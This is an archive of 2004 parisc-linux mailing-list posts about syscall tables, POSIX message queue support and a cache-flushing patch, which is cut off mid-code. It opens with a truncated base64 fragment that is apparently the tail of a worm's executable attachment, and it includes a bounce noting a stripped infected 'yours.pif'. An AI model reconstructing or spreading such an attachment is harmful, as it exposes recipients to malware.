Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Hicks <mort@bork.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A job for a debian-developer?
Date: Wed, 28 Apr 2004 18:54:20 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040428225420.GB21045@localhost>
References: <20040428180741.GH6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623421 9131 80.91.229.3 (22 Nov 2014 02:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: mort@galileo.bork.org  Wed Apr 28 16:54:21 2004
Return-Path: <mort@galileo.bork.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from galileo.bork.org (galileo.bork.org [66.11.174.156])
	by dsl2.external.hp.com (Postfix) with SMTP id D7F68482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 16:54:20 -0600 (MDT)
Original-Received: (qmail 28341 invoked by uid 1000); 28 Apr 2004 22:54:20 -0000
Content-Disposition: inline
In-Reply-To: <20040428180741.GH6936@baldric.uwo.ca>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 22:54:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21563



On Wed, Apr 28, 2004 at 02:07:41PM -0400, Carlos O'Donell wrote:
> 
> parisc-linux,
> 
> Do we know if any programs use K_INLINE_SYSCALL from our
> linux/include/asm-parisc/unistd.h, or rather all the _syscall[n] macros?
> 
> It's rather wrong. Even if I were to correct the issue, I'm curious if
> anything uses these definitions. 

klibc uses the _syscall[n] stuff.

mh

-- 
Martin Hicks || mort@bork.org || PGP/GnuPG: 0x4C7F2BEE


From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Apr 2004 19:15:07 -0400
Lines: 98
Approved: news@gmane.org
Message-ID: <20040428231506.GJ6936@baldric.uwo.ca>
References: <20040428231338.BB0124945C3@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623421 9133 80.91.229.3 (22 Nov 2014 02:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 17:15:39 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 497A9482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 17:15:39 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIyGh-00082a-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 19:15:07 -0400
Content-Disposition: inline
In-Reply-To: <20040428231338.BB0124945C3@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 23:15:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21564

On Wed, Apr 28, 2004 at 05:13:38PM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/04/28 17:13:38
> 
> Modified files:
> 	arch/parisc/kernel: syscall_table.S 
> 	include/asm-parisc: unistd.h 
> 	ipc            : compat_mq.c 
>
> Log message:
> First cut to get mq_* functions working in userspace. 
> Fix CONFIG_POSIX_MQUEUE build. Connect mq_* syscalls. 
> Make our syscall_table match unistd.h definitions. 
> Boots on my A500, testing new glibc build as we speak.

Not too much glue required.

Index: arch/parisc/kernel/syscall_table.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall_table.S,v
retrieving revision 1.6
diff -u -p -r1.6 syscall_table.S
--- a/arch/parisc/kernel/syscall_table.S	29 Mar 2004 12:51:52 -0000	1.6
+++ b/arch/parisc/kernel/syscall_table.S	28 Apr 2004 23:09:07 -0000
@@ -334,3 +334,12 @@
 	ENTRY_SAME(epoll_ctl)		/* 225 */
 	ENTRY_SAME(epoll_wait)
  	ENTRY_SAME(remap_file_pages)
+  ENTRY_SAME(semtimedop)
+  ENTRY_SAME(mq_open)
+  ENTRY_SAME(mq_unlink)   /* 230 */
+  ENTRY_SAME(mq_timedsend)
+  ENTRY_SAME(mq_timedreceive)
+  ENTRY_SAME(mq_notify)
+  ENTRY_SAME(mq_getsetattr)
+  /* Nothing yet */       /* 235 */
+
Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/unistd.h,v
retrieving revision 1.4
diff -u -p -r1.4 unistd.h
--- a/include/asm-parisc/unistd.h	16 Mar 2004 15:40:38 -0000	1.4
+++ b/include/asm-parisc/unistd.h	28 Apr 2004 23:09:07 -0000
@@ -700,30 +700,35 @@
 #define __NR_acl_set            (__NR_Linux + 205)
 #define __NR_gettid             (__NR_Linux + 206)
 #define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill		(__NR_Linux + 208)
-#define __NR_sendfile64		(__NR_Linux + 209)
-#define __NR_futex		(__NR_Linux + 210)
-#define __NR_sched_setaffinity	(__NR_Linux + 211)
-#define __NR_sched_getaffinity	(__NR_Linux + 212)
-#define __NR_set_thread_area	(__NR_Linux + 213)
-#define __NR_get_thread_area	(__NR_Linux + 214)
-#define __NR_io_setup		(__NR_Linux + 215)
-#define __NR_io_destroy		(__NR_Linux + 216)
-#define __NR_io_getevents	(__NR_Linux + 217)
-#define __NR_io_submit		(__NR_Linux + 218)
-#define __NR_io_cancel		(__NR_Linux + 219)
-#define __NR_alloc_hugepages	(__NR_Linux + 220)
-#define __NR_free_hugepages	(__NR_Linux + 221)
-#define __NR_exit_group		(__NR_Linux + 222)
-#define __NR_lookup_dcookie	(__NR_Linux + 223)
-#define __NR_epoll_create	(__NR_Linux + 224)
-#define __NR_epoll_ctl		(__NR_Linux + 225)
-#define __NR_epoll_wait		(__NR_Linux + 226)
-#define __NR_remap_file_pages	(__NR_Linux + 227)
-#define __NR_semtimedop		(__NR_Linux + 228)
+#define __NR_tkill              (__NR_Linux + 208)
+#define __NR_sendfile64         (__NR_Linux + 209)
+#define __NR_futex              (__NR_Linux + 210)
+#define __NR_sched_setaffinity  (__NR_Linux + 211)
+#define __NR_sched_getaffinity  (__NR_Linux + 212)
+#define __NR_set_thread_area    (__NR_Linux + 213)
+#define __NR_get_thread_area    (__NR_Linux + 214)
+#define __NR_io_setup           (__NR_Linux + 215)
+#define __NR_io_destroy         (__NR_Linux + 216)
+#define __NR_io_getevents       (__NR_Linux + 217)
+#define __NR_io_submit          (__NR_Linux + 218)
+#define __NR_io_cancel          (__NR_Linux + 219)
+#define __NR_alloc_hugepages    (__NR_Linux + 220)
+#define __NR_free_hugepages     (__NR_Linux + 221)
+#define __NR_exit_group         (__NR_Linux + 222)
+#define __NR_lookup_dcookie     (__NR_Linux + 223)
+#define __NR_epoll_create       (__NR_Linux + 224)
+#define __NR_epoll_ctl          (__NR_Linux + 225)
+#define __NR_epoll_wait         (__NR_Linux + 226)
+#define __NR_remap_file_pages   (__NR_Linux + 227)
+#define __NR_semtimedop         (__NR_Linux + 228)
+#define __NR_mq_open            (__NR_Linux + 229) /* Keep the mq_* syscalls together */
+#define __NR_mq_unlink          (__NR_Linux + 230)
+#define __NR_mq_timedsend       (__NR_Linux + 231)
+#define __NR_mq_timedreceive    (__NR_Linux + 232)
+#define __NR_mq_notify          (__NR_Linux + 233)
+#define __NR_mq_getsetattr      (__NR_Linux + 234)
 

From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A job for a debian-developer?
Date: Wed, 28 Apr 2004 19:16:10 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040428231610.GK6936@baldric.uwo.ca>
References: <20040428180741.GH6936@baldric.uwo.ca>
	<20040428225420.GB21045@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623421 9137 80.91.229.3 (22 Nov 2014 02:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Hicks <mort@bork.org>
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 17:16:43 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08D9A48B6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 17:16:43 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIyHj-00082p-00; Wed, 28 Apr 2004 19:16:11 -0400
Content-Disposition: inline
In-Reply-To: <20040428225420.GB21045@localhost>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 23:16:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21565

On Wed, Apr 28, 2004 at 06:54:20PM -0400, Martin Hicks wrote:
> On Wed, Apr 28, 2004 at 02:07:41PM -0400, Carlos O'Donell wrote:
> > 
> > parisc-linux,
> > 
> > Do we know if any programs use K_INLINE_SYSCALL from our
> > linux/include/asm-parisc/unistd.h, or rather all the _syscall[n] macros?
> > 
> > It's rather wrong. Even if I were to correct the issue, I'm curious if
> > anything uses these definitions. 
> 
> klibc uses the _syscall[n] stuff.

I don't even know if we have a klibc port? :)
I'll check both out. Thanks Martin.

c.



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Apr 2004 19:51:13 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20040428235113.GB31006@baldric.uwo.ca>
References: <20040428231338.BB0124945C3@palinux.hppa>
	<20040428231506.GJ6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623422 9140 80.91.229.3 (22 Nov 2014 02:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 17:51:46 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9DCB482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 17:51:46 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIype-0008Aw-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 19:51:14 -0400
Content-Disposition: inline
In-Reply-To: <20040428231506.GJ6936@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (0% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 23:51:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21566

On Wed, Apr 28, 2004 at 07:15:07PM -0400, Carlos O'Donell wrote:
> On Wed, Apr 28, 2004 at 05:13:38PM -0600, Carlos O'Donell wrote:
> > CVSROOT:	/var/cvs
> > Module name:	linux-2.6
> > Changes by:	carlos	04/04/28 17:13:38
> > 
> > Modified files:
> > 	arch/parisc/kernel: syscall_table.S 
> > 	include/asm-parisc: unistd.h 
> > 	ipc            : compat_mq.c 
> >
> > Log message:
> > First cut to get mq_* functions working in userspace. 
> > Fix CONFIG_POSIX_MQUEUE build. Connect mq_* syscalls. 
> > Make our syscall_table match unistd.h definitions. 
> > Boots on my A500, testing new glibc build as we speak.
> 
> Not too much glue required.
> 

Okay, glibc build completed, tests pass. We have functioning posix mq_*
support for hppa.

c.



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery Subsystem <MAILER-DAEMON@mail3.mazunetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returned mail: see transcript for details
Date: Wed, 28 Apr 2004 21:26:20 -0400
Lines: 105
Approved: news@gmane.org
Message-ID: <200404290126.i3T1QKSj006300@mail3.mazunetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="i3T1QKSj006300.1083201980/mail3.mazunetworks.com"
X-Trace: ger.gmane.org 1416623422 9144 80.91.229.3 (22 Nov 2014 02:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Wed Apr 28 20:32:47 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail3.mazunetworks.com (unknown [4.19.249.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC260482B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 20:32:46 -0600 (MDT)
Original-Received: from localhost (localhost)
	by mail3.mazunetworks.com (8.12.8/8.12.8) id i3T1QKSj006300;
	Wed, 28 Apr 2004 21:26:20 -0400
Auto-Submitted: auto-generated (failure)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 02:32:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21567

This is a MIME-encapsulated message

--i3T1QKSj006300.1083201980/mail3.mazunetworks.com

The original message was received at Wed, 28 Apr 2004 21:25:51 -0400
from localhost [203.210.214.228] (may be forged)

   ----- The following addresses had permanent fatal errors -----
<walter@mazunetworks.com>
    (reason: 550 5.0.0 <walter@mazunetworks.com>... Invalid User)

   ----- Transcript of session follows -----
... while talking to mail.mazunetworks.com.:
>>> RCPT To:<walter@mazunetworks.com>
<<< 550 5.0.0 <walter@mazunetworks.com>... Invalid User
550 5.1.1 <walter@mazunetworks.com>... User unknown

--i3T1QKSj006300.1083201980/mail3.mazunetworks.com
Content-Type: message/delivery-status

Reporting-MTA: dns; mail3.mazunetworks.com
Arrival-Date: Wed, 28 Apr 2004 21:25:51 -0400

Final-Recipient: RFC822; walter@mazunetworks.com
Action: failed
Status: 5.0.0
Remote-MTA: DNS; mail.mazunetworks.com
Diagnostic-Code: SMTP; 550 5.0.0 <walter@mazunetworks.com>... Invalid User
Last-Attempt-Date: Wed, 28 Apr 2004 21:26:20 -0400

--i3T1QKSj006300.1083201980/mail3.mazunetworks.com
Content-Type: message/rfc822

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from mazunetworks.com (localhost [203.210.214.228] (may be forged))
	by mail3.mazunetworks.com (8.12.8/8.12.8) with ESMTP id
	i3T1PlM2006292
	for <walter@mazunetworks.com>; Wed, 28 Apr 2004 21:25:51 -0400
Message-Id: <200404290125.i3T1PlM2006292@mail3.mazunetworks.com>
From: parisc-linux@lists.parisc-linux.org
To: walter@mazunetworks.com
Subject: {Filename?} Re: Here
Date: Thu, 29 Apr 2004 09:35:47 +0700
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0002_00005EC7.00005DF0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mazu-Networks-MailScanner-Information: Please contact the ISP for more
	information
X-Mazu-Networks-MailScanner: Found to be infected
X-Mazu-Networks-MailScanner-SpamCheck: not spam, SpamAssassin (score=4.6,
	required 5, MAY_BE_FORGED 0.04, MICROSOFT_EXECUTABLE 0.10,
	MISSING_MIMEOLE 0.50, MSG_ID_ADDED_BY_MTA_3 0.89, NO_REAL_NAME 1.28,
	PRIORITY_NO_NAME 1.02, SPAM_PHRASE_00_01 0.78)
X-Mazu-Networks-MailScanner-SpamScore: ssss

This is a multi-part message in MIME format.

------=_NextPart_000_0002_00005EC7.00005DF0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Warning: This message has had one or more attachments removed
Warning: (yours.pif).
Warning: Please read the "Mazu-Networks-Attachment-Warning.txt" attachment(s) for more information.

Here is the file.

------=_NextPart_000_0002_00005EC7.00005DF0
Content-Type: text/plain; charset="us-ascii";
	name="Mazu-Networks-Attachment-Warning.txt"
Content-Disposition: attachment;
	filename="Mazu-Networks-Attachment-Warning.txt"
Content-Transfer-Encoding: quoted-printable

This is a message from the MailScanner E-Mail Virus Protection Service
----------------------------------------------------------------------
The original e-mail attachment "yours.pif"
is on the list of unacceptable attachments for this site and has been
replaced by this warning message.

If you wish to receive a copy of the original attachment, please
e-mail helpdesk and include the whole of this message
in your request. Alternatively, you can call them, with
the contents of this message to hand when you call.

At Wed Apr 28 21:26:19 2004 the virus scanner said:
   MailScanner: Shortcuts to MS-Dos programs are very dangerous in email (y=
ours.pif)

Note to Help Desk: Look on the MailScanner in /var/spool/MailScanner/quaran=
tine/20040428 (message i3T1PlM2006292).
--=20
Postmaster
MailScanner thanks transtec Computers for their support

------=_NextPart_000_0002_00005EC7.00005DF0--



--i3T1QKSj006300.1083201980/mail3.mazunetworks.com--



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cache flushing update
Date: 28 Apr 2004 22:02:36 -0500
Lines: 1321
Approved: news@gmane.org
Message-ID: <1083207757.2094.293.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623422 9146 80.91.229.3 (22 Nov 2014 02:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:22 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed Apr 28 21:02:40 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21587482B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 21:02:40 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3T32ba25578 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 23:02:37 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 03:02:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21568

This one is against 2.6.6-rc3-pa1 and should work on every pa system
type.

It seems safe: I can't actually find a stress test that breaks it.

The fork speedup varies between 50-60% depending on the machine you try
it on (the smallest speedup is on pa1.1 systems with small caches).

James

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1599  -> 1.1601 
#	         mm/fremap.c	1.17    -> 1.18   
#	include/asm-parisc/io.h	1.7     -> 1.8    
#	include/asm-parisc/cache.h	1.6     -> 1.8    
#	arch/parisc/kernel/pacache.S	1.5.1.1 -> 1.10   
#	include/asm-parisc/page.h	1.5.1.2 -> 1.9    
#	arch/parisc/kernel/entry.S	1.14.1.3 -> 1.19   
#	drivers/video/console/sticore.c	1.16    -> 1.17   
#	drivers/scsi/ncr53c8xx.c	1.39    -> 1.40   
#	include/asm-parisc/dma-mapping.h	1.7     -> 1.8    
#	arch/parisc/kernel/cache.c	1.12.1.4 -> 1.19   
#	         mm/memory.c	1.161   -> 1.162  
#	include/asm-parisc/tlb.h	1.1     -> 1.2    
#	arch/parisc/kernel/sys_parisc.c	1.17    -> 1.18   
#	include/asm-parisc/pgtable.h	1.16.1.1 -> 1.20   
#	arch/parisc/kernel/pci-dma.c	1.10    -> 1.11   
#	include/asm-parisc/cacheflush.h	1.9.1.2 -> 1.18   
#	arch/parisc/kernel/signal.c	1.14    -> 1.15   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 04/04/28	jejb@raven.il.steeleye.com	1.1600
# Merge akpm changes
# --------------------------------------------
# 04/04/28	jejb@raven.il.steeleye.com	1.1601
# Fix BK botched merge
# --------------------------------------------
#
diff -Nru a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
--- a/arch/parisc/kernel/cache.c	Wed Apr 28 21:24:13 2004
+++ b/arch/parisc/kernel/cache.c	Wed Apr 28 21:24:13 2004
@@ -68,12 +68,14 @@
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
-
+	if (VALID_PAGE(page))
+		/* We used to check to see if the page needed flushing here.
+		 * Now this API automatically detects whether the page
+		 * needs flushing or not.  This is used to defer calls to
+		 * kernel page flushing until mmu update time.
+		 *
+		 * DO NOT REMOVE OR CONDITIONALISE THIS */
 		flush_kernel_dcache_page(page_address(page));
-		clear_bit(PG_dcache_dirty, &page->flags);
-	}
 }
 
 void
@@ -231,6 +233,7 @@
 {
 	struct address_space *mapping = page_mapping(page);
 	struct list_head *l;
+	pte_t *pte;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -261,10 +264,11 @@
 		 * have to find a congruent address with an existing
 		 * translation */
 
-		if (!translation_exists(mpnt, addr))
+		if (!(pte = translation_exists(mpnt, addr)))
 			continue;
 
-		__flush_cache_page(mpnt, addr);
+
+		__flush_cache_page(pte, mpnt, addr);
 
 		/* If we find an address to flush, that will also
 		 * bring all the private mappings up to date (see
@@ -294,18 +298,209 @@
 		/* This is just for speed.  If the page translation isn't
 		 * there there's no point exciting the nadtlb handler into
 		 * a nullification frenzy */
-		if(!translation_exists(mpnt, addr))
+		if(!(pte = translation_exists(mpnt, addr)))
 			continue;
 
-		__flush_cache_page(mpnt, addr);
+		__flush_cache_page(pte, mpnt, addr);
 
 		return;
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
 
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
